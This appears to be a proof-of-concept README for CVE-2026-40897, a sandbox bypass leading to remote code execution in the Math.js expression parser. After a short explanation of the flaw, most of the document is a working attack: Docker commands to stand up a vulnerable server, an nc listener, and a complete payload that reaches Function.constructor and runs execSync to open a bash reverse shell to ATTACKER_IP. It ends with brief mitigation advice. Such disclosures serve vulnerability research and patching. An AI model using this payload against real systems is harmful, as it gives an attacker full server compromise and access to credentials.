CVE-2026-40897 Remote Code Execution in Math.js Expression Parser

★ CVE-2026-40897 Remote Code Execution in Math.js PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898

Overview

CVE-2026-40897 is a Sandbox Bypass leading to Remote Code Execution vulnerability in Math.js's expression parser. The isSafeProperty filter only checks property access from user expressions, not from internal code paths. By leaking ArrayNode's internal array via toJSON() and overwriting its .map, an attacker can force internal code to access Function.constructor and execute arbitrary JavaScript.

Affected Versions

Impact

• Arbitrary JavaScript code execution (RCE)
• Access to the host file system
• Reverse shell connection leading to full server compromise
• Exfiltration of backend credentials and sensitive data

Environment

docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

After starting the vulnerable environment, follow the steps below to reproduce the attack.

Step 1. Start a reverse shell listener

nc -lvnp 4444

Step 2. Submit the malicious payload

Send the following expression to math.evaluate (e.g., through the application's calculation input).

array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Step 3. Confirm shell access on the attacker's side

The target server connects back to the attacker's listener, granting an interactive bash shell.

Mitigation

• Upgrade Math.js to a patched version
• Avoid passing untrusted user input directly to math.evaluate()
• Restrict exposure of internal functions/classes (reviver, FunctionAssignmentNode, ArrayNode) through the expression parser

Analysis

• KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
• EN: